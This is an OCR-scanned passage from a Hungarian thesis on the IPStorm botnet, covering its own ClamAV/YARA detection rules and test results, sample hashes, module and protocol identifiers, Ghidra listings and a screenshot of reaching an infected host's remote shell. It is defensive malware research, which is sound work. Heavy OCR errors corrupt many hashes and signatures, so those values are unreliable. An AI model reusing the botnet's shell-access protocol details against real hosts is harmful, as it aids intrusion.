altipusédt fogom alkalmazni, ez a .1db féjlkiterjesztést alkalmazza. Az elkészitett adatbdzis az

aldbbi szabdlyokat tartalmazza, amelyek megegyeznek a YARA szabdlyban latottakkal.

Go.Malware.IPStorm;Target:0;0/| (1&(2]3)) ;666d69346b59745470393738394733
734352674d5a5647374433754b616c777443755777316a384c5350485145475642
55356866624e¢646e487674336b7952316659556c474e414£30726163746d494d49
5a6£64734£686139746e6665323558656631 ; 2£736673742£312e302e30;737466
616476;73656564657273

A mezdk pontosvesszvel vannak elvdlasztva egymastdl, jelentésiik sorban a kovetkezd: név,
fajl tipus, logikai kifejezés a szignattirdkhoz, hexadecimadlis szignatirdk pontosvesszdvel elva-
lasztva. A rovid prezentédlds érdekében minden fajltipust vizsgél, de a "Target” értékét moédositva

1-re, 6-ra, 9-re, sorrendben, PE, ELF és Mach-O dlloményokra sztkithetd.
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8 DETEKTALAS TESZTELESE

A detektélds teszteléséhez a rendelkezésemre 4116 52 dlloméanybdl 50-et fogok felhaszndlni, ket-
t6t, a ab468b61 €s b07c2dfb ellendrzs-osszegli dllomanyokat nem haszndlom fel, mert sériilt,
hidnyos dllomanyok. Annak érdekében, hogy a téves detektédldsokat is tudjam tesztelni, az dllo-
manyokat egy Windows 10 és egy Ubuntu 24.10 operacids rendszeren a felhaszndlé konyvtaraba
helyezem el €s a teljes rendszeren futtatom a detektdlast végzd programokat. Az dlloményok ki-
csomagolva, tehat nem UPX tomoritve keriiltek elhelyezésre a fajlrendszerekben, mert nem cél
az UPX kicsomagoldst tesztelni. Ez a szitudci6 hasonlatos ahhoz, mintha egy memoéria dump

keriilne ellendrzésre, ahol szintén a kicsomagolt dllomény lenne jelen.

8.1 YARA

A YARA alapu detektalas teszteléséhez elérhetS az Intezer Labs éltal készitett YARA rule [54],
amellyel a sajat megolddsomat fogom Osszehasonlitani. Mas, publikusan elérhet IPStorm de-
tektalasra készitett YARA rule-rél nincs tudomdsom. Az eredmények az aldbbi tdbldzatban van-

nak 0sszefoglalva.

Pozitiv | Fals pozitiv | Fals negativ
Windows 10, Intezer 45 0 5
Ubuntu 24.10, Intezer 45 0 5
Windows 10, Sajat 50 0 0
Ubuntu 24.10, Sajat 50 0 0

8.1. tabldzat: YARA szabalyok detektaldsi teljesitménye

Az Intezer dltal kozzétett YARA szabdlyhoz képest sikertilt javitanom a detektalas teljesit-
ményén, elérve az Osszes verzio felismerését. Az Intezer dltal készitett szabdly, a korai verzidkat
melyekben még nem volt backshell, nem detektalta sikeresen, mert a modulok neveire timasz-

kodott.
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8.2 ClamAV

A ClamAV teszteléséhez a ClamAV éltal hasznalt adatbazist fogom Osszehasonlitani az dltalam

készitettel. A ClamAV adatbdzis verzidja 27468/Mon Nov 25 10:36:56 2024.

Pozitiv | Fals pozitiv | Fals negativ
Windows 10, ClamAYV adatbazis 19 0 31
Ubuntu 24.10, ClamAYV adatbazis 19 0 31
Windows 10, Sajit adatbazis 50 0 0
Ubuntu 24.10, Sajit adatbazis 50 0 0

8.2. tablazat: ClamAV detektdlasi teljesitménye

A ClamAV alacsony detektél4si teljesitményén is sikeriilt javitanom, ismét elérve az Gsszes

verzio detektalasat. A ClamAYV adatbazisa csak a Linux operdcids rendszert célz6 dllomanyokat

detektdlta, tehat 0.0.8h-t61 0.2.05a-ig.
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9 OSSZEGZES

Az IPStorm fejlédését kovetve lathatd, hogy hogyan fejlddtek a verzidk, illetve milyen problé-
mak meriiltek fel a fejlesztés sordn. Ha 0sszességében megnézziik a verzidkat és megfigyeljiik

a benniik tortént valtozasokat, akkor a verziészamok 0sszekothetSek a fejlédésének a fazisaival.

1. 0.0.1-es verziok az alapvet6 mikodést fejlesztették

2. 0.0.2-es verziokban a hal6zati mikodés stabilizdldsa volt a cél

3. 0.0.3-as verzidkban a hangsuly a timaddsokon és a felderitésen volt

4. 0.0.8-as verziokkal kezdve megvaltozott a timadas célpontja és 1j tdmaddsi megoldasok
keriiltek megvaldsitdsra

5. 0.1.81-es verziotdl a centralizaltsag felé mozdult el

A fejlédés sordn a timadonak lehetGvé valt a megfert6zott eszkozre tavolrol belépni, hogy az
eszkozon barmilyen utasitdst végrehajtson, lehetGsége nyilt az eszkozok fizikai elhelyezkedésé-
bdl ad6dé elényokkel élni, mint hozzaférni olyan VPN végpontokhoz melyek egy adott foldrajzi
helyen voltak csak elérhetGek, illetve proxy szervert lizemeltetni kiilonb6zd foldrajzi helyeken.
Képesek voltak a megfertdzott eszkozok hédlézatét felderiteni és amennyiben lehetséges volt,

akkor az eszkdzokrdl informécidt kinyerni €s megfert6zni azokat.

Tovabbi fejlesztési lehetdség a Ghidra esetében, hogy a Go bindrisokbdl tobb informaciét
nyerjen vissza, jelenleg nem minden lehetséges informacio keriil visszadllitasra, igy az elemzési

folyamat soran sokszor kell az dllomdnyban jelen 1évS informéciot kézzel pétolni.

A detektélds részén tovabbfejlesztési lehetdség, hogy nem statikus médon keriil detektalésra,
hanem a hdlézatban monitorozva vannak a jelenlévé IPFS node-ok és ezek 4ltal hirdetett azo-
nositok, mely alapjan az ismert azonositéval rendelkezd kartékony szoftverek detektdlhatéak

lesznek.

Az elemzett és dltalam ismert IPStorm példdnyok a 11 MELLEKLET: IPSTORM PELDA-
NYOK fejezetben taldlhatéak, illetve a verziok alatt megjelent IPStorm specifikus modulok,
azonositok, cimek a 12 MELLEKLET: IPSTORM VERZIOFUGGETLEN JELLEMZOI feje-

zetben keriiltek 0sszegydjtésre.
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11 MELLEKLET: IPSTORM PELDANYOK

Az alébbi tdblazatban Osszegydjtve f4jl tipus, architektura (Arch), UPX csomagolds hasznélata (UPX), verzi6 és megjelenés informéciokkal. A
Megjelenés oszlop azokra az internetes forrdsokra tartalmaz hivatkozast, ahol mér taldlkoztak ezzel a bindrissal vagy elemezték Sket. A tdbldzatban
az eredeti példdnyok felsoroldsara torekedtem, azaz azok nincsenek felsorolva, amelyek egy masikbdl kicsomagolhatéak, de azokat a példanyokat

felsoroltam, amiknek nem tudtam csomagolt varidnsat megtalélni, ezt mutatja az UPX oszlop.

SHA256 hash Tipus Arch UPX | Verzi6 | Megjelenés
01658e8cc706056aca50304b29bfcab92a60cd38771£2b3069ba94£525661122 | PE x86 Igen | 0.0.1f | [1][1]
039ae75eff58a5b1125¢c6d3248dfce338573a9040709b3a9e8cf910albdada’5 | PE x86 Igen | 0.0.2b [1]
08b£f31862577567a56bf3be6425f1ddf4ac90914efd883a75a5a53dbcabd28a2 | ELF x86 Igen | 0.1.82a | [2] [3]
16bcb323bfb464£7b1fcfb7530ecb06948305d8de658868d9c3c3c31£63146d4 | ELF aarch64 | Igen | 0.2.05a | [2] [3] [4]
2545175418021b0bcdcelfa055dc292500fa9895857c6df86461£9d74a342d15 | PE x86 Igen | 0.0.2m | [1] [2]
2accb615e375b99bb92c67655ad9558c44782148d8264ef94ebala7d4dclichda | PE x86 Igen | 0.0.3j [1]
2e751a9874267b100b10196ebbef58cfcf46644651b099c8a9cd1dd7ceeb4e8f | PE x86 Igen | 0.0.2 [1]
3276bcd9b95a28234c1eab205d8c2358£5040e694331a16cef09d273b6238178 | PE x86 Igen | 0.0.31 [1]
365480a61e39b67234692ba8b75b95749434aba28c952ac32f70ed777d25810a | PE x86 Igen | 0.0.2z | [1]
36d652460b71f6e9acal6ba331197fc384£323f70ea879ec8ead0a7abf554a7e | PE x86 Igen | 0.0.1n [1]
3aff4695c73709e2e0e55665c4850aa45064723a2c83e75325b27e77ec5£6d97 | ELF x86 Igen | 0.1.83a | [2] [3]
41ec6577b3a362cf9e5b136ca3971204147bc6c171b65bab3546f631a5c2efe0 | PE x86 Igen | 0.0.2p | [1]
4549a271e2c4b157c8abe099d2e84c8£3d7c18782956267429e0bebel7eaed4l | PE x86 Igen | 0.0.3g | [1]
49c3fa3a2b7b5894559a28456ad611fa4692f72c1ec86eee925d£81735278d53 | PE x86 Nem | 0.0.2u [1]




VL

500£004eb51£282c14939bab2a5d85ac71f85e1f0ede00803abae3a2f01c272d | PE x86 Nem | 0.0.3h | [1]
50406ec7fa22c78e9b14dadccc127a899db21£7a23b1916ba432900716e0db3d | ELF aarch64 | Igen | 0.2.05a | [2] [3]
5103133574615fb49f6a94607540644689be017740d17006bc08b26be9485aa7 | ELF x86_64 | Nem | 0.1.94a | [3]
522a5015d4d11833ead6d88d4405c0f4119ff29b1f64b226c464e958f03e1434 | Mach-O | x86_64 | Nem | 0.2.05a | [3]
52£215521bab9cb6a51314bd1527f1c540ffc04df924ad971ca2160405879778 | ELF x86_64 | Nem | 0.2.05a | [3]
591770835066958e912ceb445bd865e961ac946e8cf70ced9f0bd75c851d9478 | ELF x86_64 | Igen | 0.1.5g | [2] [3]
5918446d82bd8d6c40c6cdf5ab70a012£27939e9154e26£79a7c9870811cad8c | PE x86 Igen | 0.0.2n | [1]
5d980fa37aef47022941f6afffe718ed0eed4de746edd7£494a407£84e75fd50 | PE x86 Igen | 0.0.2y | [1][2]
64abc2cf5866e932b0731a6deb487aa3d9756724250de26bac2fb930cd478dc0 | ELF x86_64 | Nem | 0.2.05a | [3]
658638c6bef52e03e6aeadbbclb2b3b8d81ad40144b56b2122d96e6957¢33117 | ELF x86 Nem | 0.2.05a | [3]
66d3799fc8132376d87£326f0131c41lafecef560b0368bcb4cc27b816025d9e6 | PE x86 Igen | 0.0.3h | [1]
69ea7bcf3dal16d968e6104745c1f015f6371c093188f1061a311a6385985b45b | ELF x86_64 | Igen | 0.1.18a | [2] [3]
765a4d57b2db92c2fd904b11a3e2dd26cdaal38843cc1760ae84e3334822bf4c4 | ELF arm Nem | 0.0.8h
7£731d2502dd39¢cbc16193ca7e9d147£e158c10236e00c634bb0680e2bfcdbfa | PE x86 Nem | 0.0.2m | [1]
8531921258132a4eb9b4b4545e85c72c2815d53¢c22f72f92822c199a15562a7c | PE x86 Igen | 0.0.2x [1]
8b24e640338654fbda233f50766136a9cf33f1a5444£d98162edbc2bdaf324c2 | PE x86 Igen | 0.02w | [1]
948042a3071a4a6e1063£f2e09717£d70£23e2c37cbdf024ccded76477b94778e | PE x86 Igen | 0.0.3b [1]
984c5e980£b8abb7bbc673£923f22ddf06c5dd89f cd0acf774d79d4d193b44c8 | ELF x86 Igen | 0.1.81a | [2] [3]
a2d36f477e2a87acab32a1988f77b00ce9f24d61a4a21e63a8c67747££2633fd | PE x86 Nem | 0.0.3h | [1]
ab468b6130d90bc74cf8e458297f6d4c7fc42b87184623aefd535bca658542ed | ELF x86 Nem [3]
af32455£41865094da020cad2675775bddd907020ed12d4ed68de5051ed62643 | PE x86 Igen | 0.0.3m | [1]
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b07c2dfb4c57175446b6188bb4b1722272f63a301f18c5f46ee6401347894fea | ELF x86 Nem [3]
b80346c4d31d77fba9427024d34af2f43e64a5272b5bbef28c6bf045a06143ff | ELF x86 Igen | 0.1.91a | [3]
b8ee3897aff6c6660557a4c73b243870020705df6c87287040bfcd68b7c8b100 | PE x86 Nem | 0.0.2x
c0cfc62c5c349523884d502088234026c3eb67c802d7d02018e72a9337930e0b | PE x86 Igen | 0.0.2r | [1]
c19b34621a7a57d831113e0b854bbc1£fa7217d578ca9bd477d805£56a73a0100 | PE x86 Nem | 0.0.2x | [1]
c247b3c07b4bf13dab67c51d5834193d128c45c7e41214096090b5d2610313783 | ELF aarch64 | Igen | 0.1.15f | [2] [3]
cae8a782765dd0f97e7a812a245cc5b94b3179¢ced9c8181d0£fda13978c9f17be | ELF x86_64 | Igen | 0.2.04a | [2] [3]
cc124869cbc871ec99d3470£2287df816ab5f75a05eaf79df65a8ecf9a8283eb9 | PE x86 Igen | 0.0.2y | [1]
cdddd240d432b084b2c5cbe6b4a89b39a33d97840630210772b7758ec87dcacd | ELF arm Nem | 0.1.1d
d233c37£2d49badbf53d054bce7fb8e787c9973067e8dcd79835d7816aacfad3 | ELF x86 Nem | 0.2.05a | [3]
db9c95bdc4247ff6cdaf8a8e47bdadd21a730461d8f6e2693136aecd346b3fb5 | ELF arm Nem | 0.1.05a | [3]
deOb86fe66be7ef3f30£28d514c8bbced2973e78d9473671f16f4365e05e5a99 | PE x86 Igen | 0.0.2x [17[2]
dfeecdd23f28£f80e42e58c87c9a4858648964b3100dfb899c61b54aed7856¢cf7 | ELF arm Nem | 0.2.05a | [3]
e093152a3e44279259839%9e1c35eeaeb5ea0803611747b8b38acaffd65a83f83a | PE x86 Igen | 0.0.2e [1]12]
fhac2e7abcfeb6ce576a9c0df3721£90c5be93b5e4694716470ec7eal3c7492£59 | PE x86 Igen | 0.0.2k | [1][2]
£987928992a9¢c43c65429d2abe93b4683a027b520d79246248f ca49c31£23447 | PE x86 Nem | 0.0.2x | [1]
£e8dc4955f2e04bbf800e913d29848c2b99999554a802226e72ce68b6d8c71f7 | PE x86 Igen | 0.0.2u [1]

11.1. tablazat: Rendelkezésre dllo mintdk




12 MELLEKLET: IPSTORM VERZIOFUGGETLEN JELLEMZOI

Az IPStorm-ra jellemz6 modulnevek (12.1), hirdetett azonositdk (12.2), topic azonositok (12.3),

protokoll azonositok (12.4) és cimek (12.5) a kovetkezé tabldzatokban verzidktdl fiiggetleniil

jelennek meg.

storm/avbypass Antivirus megkertiilés
storm/backshell Tévoli shell hozzaférés
storm/bruteforce SSH Brute Force

storm/ddb Elosztott adatbazis
storm/filetransfer Fajlok kiildése, fogadasa
storm/handshake Handshake €s relay funkciok
storm/identity Node azonosito kulcs kezelése
storm/logging Log iizenetek kiildése

storm/malware-guard

Mias kartékony szoftverek ledllitasa

storm/node libp2p node, kozponti funkcionalitas
storm/powershell PowerShell parancsok futtatdsa
storm/primitives Feladatiitemezd

storm/proxy Proxy szolgéltatds

storm/reque_client

Tavoli parancs kliens

storm/scan_tools

Felderit§ eszkozok

storm/scanner Haloézatfelderités
storm/starter IPStorm inditdsa (platform fiiggd)
storm/util Altaldnos eszkozok, eljardsok
storm/vpngate VPN végpontok gytjtése

storm/web_api_client

Web API-val valé6 kommunikacio

12.1. tablazat: IPStorm modulnevek verziotol fiiggetleniil
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fmidkYtTp9789G3sCRgMZVG7D3uKalwtCulw
1j8LSPHQEGVBUShfbNdnHvt3kyR1£YU1GNAO
OzactmIMIZodsOha9tnfe25Xefl

IPStorm node azonosito

COFAh40EtzpBb145aYUcluKo1UJZ-1bRUGg1
WJo30FzWFEKzbShsWFO-wt95LoglePOgp22h
X3PQ21U5w83a8uoPw-C3WngMgFD1

Rendelkezik Info topic-kal

6szrvCIvhS8QSTs6nq0I28177MNO1DVh4pCV
BvRYxm-5dGHPs0a8sNCMypcPoMFTe5BeXWPn
NILo3I6G6Ev1g(Leqz54RoMwWIOpPFD1

Rendelkezik Cmd topic-kal

requeBOHCHIY2XRMYXIOHCSZA

Reque kiszolgal6 node

proxybackendHODHVADBCIKQ4S7Y0X4X

Proxy backend node

web-api:kYVhV8KQOmAOrs9pHXoWpD

Web API szerver node

stfadv:<checksum>

F4jl hirdetés

12.2. tablazat: IPStorm dltal hirdetett azonositok verziotol fiiggetleniil

6szrvCIvhS8QSTs6nq0I28177MNO1DVh4pCV
BvRYxm-5dGHPs0a8sNCMypcPoMFTe5BeXWPn
NILo3I6G6Ev1gQLeqz54RoMwWIOpPPEFD1

Cmd topic azonositod

M71VVAOHHSD jmHFzPBHGk10dqEpVR-HyD9c7
ZrNrXZqGNn7MXo-bDjX7nMdAnqql19uTOrvsK
3V7bPN-SNSyd6WCYgnuRSrNkITviS

DDB topic azonosito

COFAh40EtzpBb145aYUcluKo1UJZ-1bRUGg1
WJo30FzWFEKzbShsWFO-wt95LoglePOgp22h
X3PQ21U5w83a8uoPw-C3WngMgFD1

Info topic azonosité

/81i77MNO1DVh4pCVBVRYxm

Logging topic azonositd

HyD9c7ZrNrXZqG-M71VVAOHH5D jmHFz-PBHG
k10dqEpVR-Nn7MXo-bDjX7nMdAnqq-SNSyd6
WCYgnu-19uTOrvsK3V7bPN-RSrNkITviS

vpngate topic azonosito

12.3. tablazat: IPStorm dltal hasznalt topic azonositok verziotol fiiggetleniil
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/sbst/1.0.0

Backshell protokoll

/sbpcp/1.0.0

Proxy backend protokoll

/sbptp/1.0.0

SOCKSS szerver protokoll

/sfst/1.0.0 Filetransfer protokoll
/shsk/1.0.0 Handshake protokoll
/sreque/1.0.0 Reque protokoll
/strelayp/1.0.0 Relay protokoll

12.4. tablazat: IPStorm dltal hasznalt protokoll azonositok verziotol fiiggetleniil

/ip4/212.X.X.100/tcp/4001/ipfs/
Qmeb3X55MaoKhZfYsUHFgkZWAZ3ZFtQ

CQz6qiaEqamo7a2

Bootstrap node

46.X.X.0/24

Engedélyezett forrds IP tartomany

/ip4/147.X.X.83/tcp/4001/p2p/
QmbLHAnMo JPWSCR5Zhtx6BHJX9KiKNN
6tpvbUcqanj75Nb

Bootstrap node

/ip4/147.X.X.115/tcp/4001/p2p/
QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA
3gU1ZjYZcYW3dwt

Bootstrap node

/ip4/147.X.X.187/tcp/4001/p2p/
QmQCU2EcMqAqQPR2i9bChDtGNJIchTbq
5TbXJJ16ul9uLTa

Bootstrap node

/ip4/147.X.X.213/tcp/4001/p2p/
QmNnooDu7bf jPFoTZYxMNLWUQJyrVwt
bZgbgBMjTezGAJN

Bootstrap node

12.5. tablazat: 1PStorm fejlesztdjéhez kothetd cimek
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13

ml @2

MELLEKLET: ABRAK

O3 04 @5 06 07

20c59660
20c59664
00c59666
20c59667
00c59668
20c5966¢
20c59670
00c59674
20c59678
20c5967c

20c75dad
20c75dad
20c75da8
@@c75dac
00c75dbo
00c75db4
20c75db8

fb
00
01
04
ee
00
84
70
b4
be

44
be
ac
70
ac
40
b8

0102e306c 70 15 91 00
0102e310 ec 4c 3d 00
0102e314 00 00 00 00
0102e318 3 03 00 00

ff
00

38
10
c7
10
c7
10

4a
12
4b
15
4c
1a
de

ff

00
40
01
40
01
40

3d
91
3d
91
3d
91
3d

ff

00
00
00
00
00
00

20
20
00
00
00
00
00

. abra: ImHex képernydkép a T£731d25 bindrisrol

ddw FFFFFFFBh magic
Ow oh pcintab
db 1h quantum
db 4h ptrsize
ddw 38EEh ftab size
addr go_build_id
ddw 1C784h
addr internal/cpu.Initialize ftab
ddw 1C7B4h
addr internal/cpu.processOptions
XX
Odw 304A44h function entry
addr main.serveSelf
ddw 304BOCh €¢—0u
addr main.main/ funcinfo offset
ddw 3D4CACh
addr main.main. funcl
ddw 3D4EB8h
addr main.main entry
ddw 3D4CECh funcinfo nameoff
ddw 2h args
ddw 3F3h deferreturn
0102e34c 6d 61 69 ds "main.main"
6e 2e 6d
61 69 6e 00

13.2. abra: Eljaras neve a Go 1.12 pclntab struktirdban
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— LAB_BO741cTo XREF[1]: pe741d3a(j)

B0741cf9 89 44 24 10 MoV dword ptr [ESP + @x1@]==local_d4 EAX
fUsers/brokleg/go/src/storm/avbypass/avbypass_windows.go:25
pe741cfd 8d @5 oo LEA EAX, [datatype.Uint8.uint8]
ed 98 00
pB741d03 89 @4 24 MOV dword ptr [ESP]=>local_14 EAX=>datatype.Uint8.uint8
pe741des c7 44 24 MOV dword ptr [ESP + @x4]=»local_1@,6@8x1c9c380
24 80 c3
9 a1l
p@741dee c7 44 24 MoV dword ptr [ESP + @x8]=»local_c,@x1c9c38e
@8 B0 c3
[s=
#8741d16 e8 55 7b CALL runtime.makeslice
cf ff
#8741d1b 8b 44 24 @c MOV EAX,dword ptr [ESP + Bxc]==local_8
fUsers/brokleg/go/src/storm/avbypass/avbypass_windows.go:26
20741d1f c6 00 01 MoV byte ptr [EAX],@x1
fUsers/brokleg/go/src/storm/avbypass/avbypass_windows.go:27
BB741d22 Bd @5 60 LEA EAYX, [datatype.ArTay. [102460000]uint8]
31 97 oo
P@741d28 89 @4 24 MOV dword ptr [ESP]=>local 14, EAX=>datatype.Array.[102400000]uintd
#0741d2b e8 50 7T CALL runtime.newobject
cc ff
fUsers/brokleg/go/src/storm/avbypass/avbypass_windows.go:23
pe741d30 8b 44 24 10 MoV EAX,dword ptr [ESP + Bxl@]=:local_4
20741d34 40 INC EAX
LAB_@0741d35 XREF[1]: ee7a1cf7(§)
88741d35 3d 8 03 CMP EAX,@x3e8
e oo
-1 28741d3a 7c bd JL LAB_@@741cf9

13.3. abra: storm/avbypass.allocateMemory Ghidra listing nézetében

Process Tree

+ 01658e8cc706056aca50304b.exe 5984
cmd.exe 1200 cmd ver
powershell.exe 1972 powershell exe -NoExit -Command -
ROUTE.EXE 2120 route prinf 0.0.0.0

« svchost.exe 796 -k DcomlLaunch -p
WmiPrvSE.exe 3904 -secured -Embedding
WmiPrvSE.exe 5992 -secured -Embedding

+ svchost.exe 2924 -k netsves -p

13.4. abra: 0.0.1f verzio folyamatai a CAPEV2 sandobox elemzésében

Looking for peers advertising id: stfadv:6f4997f755f2f5a0ac31ff758cffade9c502017409
747ff4c1294b9c4c891284

Connected to QmZ78HGVVNhMSHojP7xnuBTSqduvNQPduoXzGtCTg3xfjV

Found a peer supporting fsbst/1.0.0: QmZ78HGVVNhM5HojP7xnuBTSqduvNQPduoXzGtCTg3xfjV

Connected using /sbst/1.8.0
Shell active

uname -a
Linux pc 6.5.0-18-generic #18~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Feb 7 11:48:8
3 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

13.5. abra: IPStorm 0.2.05a shell elérése a backshell protocoll segitségével
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